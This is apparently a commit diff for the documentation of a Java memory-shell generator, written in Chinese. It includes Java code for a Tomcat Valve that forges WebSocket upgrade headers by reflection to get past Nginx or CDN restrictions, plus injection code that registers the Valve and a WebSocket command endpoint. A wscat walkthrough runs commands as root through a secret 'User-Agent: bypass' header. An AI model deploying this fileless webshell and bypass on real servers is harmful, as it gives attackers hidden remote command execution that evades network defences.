this.sc = (WsServerContainer)filterConfig.getServletContext().getAttribute("javax.websocket.server.ServerContainer");
|
||||
}
|
||||
|
||||
public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException {
|
||||
if (this.sc.areEndpointsRegistered()
|
||||
&& UpgradeUtil.isWebSocketUpgradeRequest(request, response)) {
|
||||
HttpServletRequest req = (HttpServletRequest)request;
|
||||
HttpServletResponse resp = (HttpServletResponse)response;
|
||||
String pathInfo = ...; // 获取请求路径
|
||||
WsMappingResult mappingResult = this.sc.findMapping(path);
|
||||
if (mappingResult != null) {
|
||||
UpgradeUtil.doUpgrade(this.sc, req, resp, mappingResult.getConfig(), mappingResult.getPathParams());
|
||||
}
|
||||
}
|
||||
chain.doFilter(request, response);
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
```java
|
||||
public class UpgradeUtil {
|
||||
|
||||
public static boolean isWebSocketUpgradeRequest(ServletRequest request, ServletResponse response) {
|
||||
return request instanceof HttpServletRequest
|
||||
&& response instanceof HttpServletResponse
|
||||
&& headerContainsToken((HttpServletRequest)request, "Upgrade", "websocket")
|
||||
&& "GET".equals(((HttpServletRequest)request).getMethod());
|
||||
}
|
||||
|
||||
public static void doUpgrade(WsServerContainer sc, HttpServletRequest req, HttpServletResponse resp, ServerEndpointConfig sec, Map<String, String> pathParams) throws ServletException, IOException {
|
||||
String subProtocol = null;
|
||||
if (!headerContainsToken(req, "Connection", "upgrade")) {
|
||||
resp.sendError(400);
|
||||
} else if (!headerContainsToken(req, "Sec-WebSocket-Version", "13")) {
|
||||
resp.setStatus(426);
|
||||
resp.setHeader("Sec-WebSocket-Version", "13");
|
||||
}
|
||||
// ...
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
结合上面透过 Nginx Tomcat 拿到的请求头,我们缺失的就是 `Upgrade: websocket` 和 `Connection: upgrade` 这两个请求头,使得请求根本没进入 WsFilter 的逻辑导致连接失败。所以我们需要伪造一个类似 WsFilter 的组件并且处理缺失的请求头,我根据 Filter 和 Valve 的注入的代码量,选择了更轻量化的 Valve 组件:
|
||||
|
||||
```java
|
||||
public class TomcatWsBypassValve implements Valve {
|
||||
public static String headerName;
|
||||
public static String headerValue;
|
||||
|
||||
@Override
|
||||
public void invoke(Request request, Response response) throws IOException, ServletException {
|
||||
try {
|
||||
// 因为 Valve 所有请求都会经过,所以需要判断特定流量来防止对业务产生过大的影响
|
||||
if (request.getHeader(headerName) != null
|
||||
&& request.getHeader(headerName).contains(headerValue)) {
|
||||
String pathInfo = request.getPathInfo();
|
||||
String path;
|
||||
if (pathInfo == null) {
|
||||
path = request.getServletPath();
|
||||
} else {
|
||||
path = request.getServletPath() + pathInfo;
|
||||
}
|
||||
Object sc = request.getServletContext().getAttribute("javax.websocket.server.ServerContainer");
|
||||
if (sc == null) {
|
||||
sc = request.getServletContext().getAttribute("jakarta.websocket.server.ServerContainer");
|
||||
}
|
||||
if (sc == null) {
|
||||
throw new ServletException("Server container not found");
|
||||
}
|
||||
addHeader(request, "Connection", "upgrade");
|
||||
addHeader(request, "Upgrade", "websocket");
|
||||
Object mappingResult = sc.getClass().getMethod("findMapping", String.class).invoke(sc, path);
|
||||
Class<?> upgradeUtil = Class.forName("org.apache.tomcat.websocket.server.UpgradeUtil");
|
||||
for (Method method : upgradeUtil.getMethods()) {
|
||||
if ("doUpgrade".equals(method.getName())) {
|
||||
method.invoke(null, sc, request, response, getFieldValue(mappingResult, "config"), getFieldValue(mappingResult, "pathParams"));
|
||||
}
|
||||
}
|
||||
return;
|
||||
}
|
||||
} catch (Throwable e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
this.getNext().invoke(request, response);
|
||||
}
|
||||
|
||||
private void addHeader(Request request, String key, String value) {
|
||||
try {
|
||||
Field coyoteRequestField = request.getClass().getDeclaredField("coyoteRequest");
|
||||
coyoteRequestField.setAccessible(true);
|
||||
Object coyoteRequest = coyoteRequestField.get(request);
|
||||
Method getMimeHeadersMethod = coyoteRequest.getClass().getMethod("getMimeHeaders");
|
||||
Object mimeHeaders = getMimeHeadersMethod.invoke(coyoteRequest);
|
||||
Method addValueMethod = mimeHeaders.getClass().getMethod("addValue", String.class);
|
||||
Object messageBytes = addValueMethod.invoke(mimeHeaders, key);
|
||||
Method setStringMethod = messageBytes.getClass().getMethod("setString", String.class);
|
||||
setStringMethod.invoke(messageBytes, value);
|
||||
} catch (Exception e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
}
|
||||
|
||||
private Object getFieldValue(Object obj, String fieldName) throws Exception {
|
||||
Field declaredField = obj.getClass().getDeclaredField(fieldName);
|
||||
declaredField.setAccessible(true);
|
||||
return declaredField.get(obj);
|
||||
}
|
||||
|
||||
//...
|
||||
}
|
||||
```
|
||||
|
||||
因此我们注入能够绕过 Nginx 或 CDN 限制的 WebSocket 内存马,只需要在注入 WebSocket 内存马的基础上额外注入一个 Valve 内存马。
|
||||
|
||||
```java
|
||||
private void inject(Object context, Object obj) throws Exception {
|
||||
Object servletContext = invokeMethod(context, "getServletContext", null, null);
|
||||
Object container = invokeMethod(servletContext, "getAttribute", new Class[]{String.class}, new Object[]{"javax.websocket.server.ServerContainer"});
|
||||
if (container == null) {
|
||||
container = invokeMethod(servletContext, "getAttribute", new Class[]{String.class}, new Object[]{"jakarta.websocket.server.ServerContainer"});
|
||||
}
|
||||
|
||||
if (container == null) {
|
||||
throw new RuntimeException("container is null");
|
||||
}
|
||||
|
||||
if (invokeMethod(container, "findMapping", new Class[]{String.class}, new Object[]{getUrlPattern()}) != null) {
|
||||
return;
|
||||
}
|
||||
|
||||
Object valve = defineShell(context.getClass().getClassLoader(), getHelperBase64String()).newInstance(); // [!code ++]
|
||||
Object pipeline = invokeMethod(context, "getPipeline", null, null); // [!code ++]
|
||||
Class valveClass = context.getClass().getClassLoader().loadClass("org.apache.catalina.Valve"); // [!code ++]
|
||||
invokeMethod(pipeline, "addValve", new Class[]{valveClass}, new Object[]{valve}); // [!code ++]
|
||||
|
||||
ClassLoader contextClassLoader = context.getClass().getClassLoader();
|
||||
Class<?> serverEndpointConfigClass;
|
||||
Class<?> builderClass;
|
||||
try {
|
||||
serverEndpointConfigClass = contextClassLoader.loadClass("javax.websocket.server.ServerEndpointConfig");
|
||||
builderClass = contextClassLoader.loadClass("javax.websocket.server.ServerEndpointConfig$Builder");
|
||||
} catch (ClassNotFoundException e) {
|
||||
serverEndpointConfigClass = contextClassLoader.loadClass("jakarta.websocket.server.ServerEndpointConfig");
|
||||
builderClass = contextClassLoader.loadClass("jakarta.websocket.server.ServerEndpointConfig$Builder");
|
||||
}
|
||||
Constructor<?> constructor = builderClass.getDeclaredConstructor(Class.class, String.class);
|
||||
constructor.setAccessible(true);
|
||||
Object o1 = constructor.newInstance(obj.getClass(), getUrlPattern());
|
||||
Object endpointConfig = invokeMethod(o1, "build", null, null);
|
||||
|
||||
invokeMethod(container, "setDefaultMaxTextMessageBufferSize", new Class[]{int.class}, new Object[]{52428800});
|
||||
invokeMethod(container, "setDefaultMaxBinaryMessageBufferSize", new Class[]{int.class}, new Object[]{52428800});
|
||||
invokeMethod(container, "addEndpoint", new Class[]{serverEndpointConfigClass}, new Object[]{endpointConfig});
|
||||
}
|
||||
```
|
||||
@@ -1,9 +0,0 @@
|
||||
---
|
||||
title: Tomcat
|
||||
---
|
||||
|
||||
## Valve 内存马
|
||||
|
||||
## ProxyValve 内存马
|
||||
|
||||
## Upgrade 内存马
|
||||
@@ -1,5 +1,81 @@
|
||||
---
|
||||
title: Command
|
||||
description: 可以让我们执行任意非交互式命令并回显命令结果的内存马。
|
||||
---
|
||||
import { Step, Steps } from 'fumadocs-ui/components/steps';
|
||||
|
||||
WIP
|
||||
## WebSocket 内存马
|
||||
|
||||
<Steps>
|
||||
<Step>
|
||||
### 选择 Command 并填写参数
|
||||
|
||||

|
||||
</Step>
|
||||
|
||||
<Step>
|
||||
### 生成并注入
|
||||
|
||||
选取合适的打包方式,并进行内存马的注入。
|
||||
|
||||
</Step>
|
||||
<Step>
|
||||
### 使用 WebSocket 客户端尝试连接
|
||||
|
||||
我这里使用的是 [wscat](https://github.com/websockets/wscat) 工具,使用 npm 就能下载 `npm install -g wscat`。
|
||||
|
||||
`/app` 是应用的路径,`/ws-cmd` 是上述生成时填的路径。
|
||||
|
||||
```bash
|
||||
❯ wscat -c ws://127.0.0.1:8082/app/ws-cmd
|
||||
Connected (press CTRL+C to quit)
|
||||
> whoami
|
||||
< reajason
|
||||
|
||||
>
|
||||
```
|
||||
</Step>
|
||||
</Steps>
|
||||
|
||||
## BypassNginxWebSocket 内存马
|
||||
|
||||
<Steps>
|
||||
<Step>
|
||||
### 选择 Command 并填写参数
|
||||
|
||||

|
||||
</Step>
|
||||
|
||||
<Step>
|
||||
### 生成并注入
|
||||
|
||||
选取合适的打包方式,并进行内存马的注入。
|
||||
|
||||
</Step>
|
||||
<Step>
|
||||
### 使用 WebSocket 客户端尝试连接
|
||||
|
||||
我这里使用的是 [wscat](https://github.com/websockets/wscat) 工具,使用 npm 就能下载 `npm install -g wscat`。
|
||||
|
||||
`/app` 是应用的路径,`/ws-bypass-cmd` 是上述生成时填的路径。
|
||||
|
||||
我们可以先尝试直接连接,直接 404 因为 /app/ws-bypass-cmd 并不存在。
|
||||
|
||||
```bash
|
||||
❯ wscat -c ws://127.0.0.1/app/ws-bypass-cmd
|
||||
error: Unexpected server response: 404
|
||||
> %
|
||||
```
|
||||
|
||||
紧接着我们加上 Header 的标识来进入我们设置好的 WsBypassValve 逻辑,连接成功!
|
||||
|
||||
```bash
|
||||
❯ wscat -H "User-Agent: bypass" -c ws://127.0.0.1/app/ws-bypass-cmd
|
||||
Connected (press CTRL+C to quit)
|
||||
> whoami
|
||||
< root
|
||||
|
||||
>
|
||||
```
|
||||
</Step>
|
||||
</Steps>
|
||||
+7
-7
@@ -18,22 +18,22 @@
|
||||
"@orama/stopwords": "^3.1.18",
|
||||
"@orama/tokenizers": "^3.1.18",
|
||||
"@react-router/node": "^7.12.0",
|
||||
"@tanstack/react-query": "^5.90.16",
|
||||
"@tanstack/react-query": "^5.90.17",
|
||||
"class-variance-authority": "^0.7.1",
|
||||
"clsx": "^2.1.1",
|
||||
"framer-motion": "^12.26.1",
|
||||
"framer-motion": "^12.26.2",
|
||||
"fumadocs-core": "^16.4.7",
|
||||
"fumadocs-mdx": "14.2.5",
|
||||
"fumadocs-ui": "16.4.7",
|
||||
"i18next": "^25.7.4",
|
||||
"isbot": "^5.1.32",
|
||||
"lucide-react": "^0.562.0",
|
||||
"motion": "^12.26.1",
|
||||
"motion": "^12.26.2",
|
||||
"react": "^19.2.3",
|
||||
"react-copy-to-clipboard": "^5.1.0",
|
||||
"react-dom": "^19.2.3",
|
||||
"react-hook-form": "^7.71.0",
|
||||
"react-i18next": "^16.5.2",
|
||||
"react-hook-form": "^7.71.1",
|
||||
"react-i18next": "^16.5.3",
|
||||
"react-medium-image-zoom": "^5.4.0",
|
||||
"react-syntax-highlighter": "^16.1.0",
|
||||
"sonner": "^2.0.7",
|
||||
@@ -46,12 +46,12 @@
|
||||
"@react-router/dev": "^7.12.0",
|
||||
"@tailwindcss/vite": "^4.1.18",
|
||||
"@types/mdx": "^2.0.13",
|
||||
"@types/node": "^25.0.7",
|
||||
"@types/node": "^25.0.8",
|
||||
"@types/react": "^19.2.8",
|
||||
"@types/react-copy-to-clipboard": "^5.0.7",
|
||||
"@types/react-dom": "^19.2.3",
|
||||
"@types/react-syntax-highlighter": "^15.5.13",
|
||||
"react-router-devtools": "^6.1.0",
|
||||
"react-router-devtools": "^6.2.0",
|
||||
"rimraf": "^6.1.2",
|
||||
"serve": "^14.2.5",
|
||||
"tailwindcss": "^4.1.18",
|
||||
|
||||
Reference in New Issue
Block a user